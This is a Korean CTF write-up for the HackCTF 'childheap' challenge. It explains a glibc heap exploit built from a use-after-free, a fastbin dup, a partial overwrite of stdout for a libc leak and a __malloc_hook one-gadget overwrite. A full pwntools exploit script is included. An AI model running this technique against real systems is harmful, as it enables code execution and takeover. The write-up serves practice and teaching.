본문 바로가기
Wargame Write-Up/HackCTF

(HackCTF) childheap writeup

by snwo 2022. 2. 10.
unsigned __int64 Malloc()
{
  int v0; // ebx
  int v2; // [rsp+0h] [rbp-20h] BYREF
  int v3; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v2);
  if ( v2 < 0 || v2 > 4 )
    exit(1);
  printf("size: ");
  __isoc99_scanf("%d", &v3);
  if ( v3 < 0 || v3 > 128 )
    exit(1);
  v0 = v2;
  *(&ptr + v0) = malloc(v3);
  if ( !*(&ptr + v2) )
    exit(1);
  printf("content: ");
  read(0, *(&ptr + v2), v3);
  return __readfsqword(0x28u) ^ v4;
}

babyheap 문제와 비슷하게 생겼는데,

이번엔 index 0~4 범위에서 0~128 크기의 힙을 할당하고 해제할 수 있다. (UAF 가능)

show 함수가 없으므로, stdout flag 를 조져서 leak 해야겠다.

stdout 주변에 할당받을만한 곳을 찾아봤다.

stdout-0x43 에 할당받으면 좋겠다.

출력 함수가 없으므로, UAF 가 발생할 때 이용하기 쉬운 main_arena+88 을 이용해

stdout-0x43bk 로 조작하면 되겠다.

// stdout-0x43 : 0x7f4c739af5dd
//main_arena+88 : 0x7f4c739aeb78

우분투 16에서 확인한 결과인데, 보통 하위 2바이트만 다르다.

hex(lib.sym['IO_2_1_stdout']-0x43)
'0x3c55dd'

주어진 라이브러리 파일에서도 오프셋 하위 2바이트가 ?5dd 이니, 1/16 브루트포스 하면 되겠다.

그러면 이제 exploit 흐름을 그려보자.

  1. chunk 여러개를 할당해서 top_chunk 와 병합되지 않는 fastbin 보다 큰 사이즈의 힙 할당하고 해제 (fd, bk 에 main_arena+88 가 적힘)
  2. 해제한 unsorted bin 의 chunk 를 다시 가져와서 하위 2바이트를 0x55dd 로 바꾼다.
  3. fastbin-dup 을 이용해 3번 해제하고, 첫 번째로 다시 할당할 때 하위 1바이트를 조져서 fdmain_arena+88 가 적힌 chunk 의 주소를 가리키게 하고, 나머지 3개를 할당한 뒤 stdout-0x43 에 chunk 를 할당받는다. 이후 페이로드를 보내서 libc leak
  4. fastbin-dup 으로 __malloc_hook 을 원샷으로 덮기

1, 2

    add(0,0x60)
    add(1,0x80)
    add(2,0x60)
    free(1)
    add(1,0x60,p16(0xe5dd))

일단, chunk size 가 0x60 인 이유는, stdout-0x43 에 구성되어있는 fake_chunksize0x7f 이기 때문이다.

그리고 unsorted bin 에 있는 chunk 를 가져올 때 size 를 0x60 으로 사용했는데,

0x60 으로 줘도 unsorted bin 에서 가져올 수 있다 ( unsorted bin 에만 chunk 가 있어서, 0x60 만 잘라 할당해준뒤 0x20 은 remainder 에 저장 )

top_chunk 와 병합되지 않게 0x80 다음에 chunk 하나를 더 할당해주고,

main_arena+88 하위 2바이트를 변조시켜준다.

0x80 이전에 chunk 하나 더 할당하는 이유는, fastbin-dup 할 때 병합이 일어나면 안되고,

chunk 주소의 두 번째 바이트가 같아야

fd 를 1바이트 조작했을 때 다음 fd를 stdout-0x43 으로 설정할 수 있기 때문이다


3

    free(2)
    free(0)
    free(2)

    add(0,0x60,p8(0x70)) # 2
    add(0,0x60) # 0
    add(0,0x60) # 2
    add(0,0x60) # 1

    # log.info(r.pid.__str__())
    # pause()
    try:
        add(0,0x60,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+b'\x00'*25) # stdout-0x43
    except:
        r.close()
        continue

2-0-2 순서로 해제한 뒤, 2fd0 의 1바이트를 1 의 offset 으로 바꿔줬다.

이후 2개(0,2)를 마저 할당하고, 1 의 offset 으로 바꿔줘서 fd 에 들어간 1 을 할당한 뒤

1 의 fd 에 있는 stdout-0x43 에 힙을 할당해주자.

입력할 수 있는 위치는 stdout-0x33 부터니 0x33 바이트를 채워준 뒤 fake_flag + null*25 를 입력한다.

stdout-0x43 의 두번째 바이트 상위 4바이트를 브루트포스로 맞췄으면

except 에 걸리지 않을 것이다. 걸리면 다시실행해야죠 뭐


4

baby heap 과 똑같이 __malloc_hook-35 였나 거기에 할당받아서 원샷가젯으로 덮으면 된다.

가젯 offset 도 똑같이 써도된다.

from pwn import *
import sys

context.binary = binary = "./childheap"
# context.log_level='debug'

b=ELF(binary,checksec=False)
while True:
    if '1' in sys.argv:
        r = remote("ctf.j0n9hyun.xyz", 3033)
        lib = ELF("./libc.so.6", checksec=False)
    else:
        r = b.process()
        lib = b.libc

    def add(index,size,content="hello"):
        r.sendlineafter("> ",b"1")
        r.sendlineafter("index: ",str(index).encode())
        r.sendlineafter("size: ",str(size).encode())
        r.sendafter("content: ",content)
    def free(index):
        r.sendlineafter("> ",b"2")
        r.sendlineafter("index: ",str(index).encode())
    add(0,0x60)
    add(1,0x80)
    add(2,0x60)
    free(1)
    add(1,0x60,p16(0x55dd))

    free(2)
    free(0)
    free(2)

    add(0,0x60,p8(0x70)) # 2
    add(0,0x60) # 0
    add(0,0x60) # 2
    add(0,0x60) # 1

    try:
        add(0,0x60,b'\x00\x00\x00'+p64(0)*6+p64(0xfbad1800)+b'\x00'*25) # stdout-0x43
    except:
        r.close()
        continue
    # log.info(r.pid.__str__())
    # pause()
    log.info("nice chunk address")
    r.recv(0x48)
    libc=u64(r.recv(6)+b'\x00\x00')-131-lib.sym["_IO_2_1_stdout_"]
    log.info(hex(libc))
    add(0,0x60)
    add(1,0x60)
    free(0)
    free(1)
    free(0)
    add(0,0x60,p64(lib.sym['__malloc_hook']+libc-35))
    add(1,0x60)
    add(2,0x60)
    add(3,0x60,b'x'*19+p64(libc+0xf02a4))
    free(0)
    free(0)
    r.interactive()
    break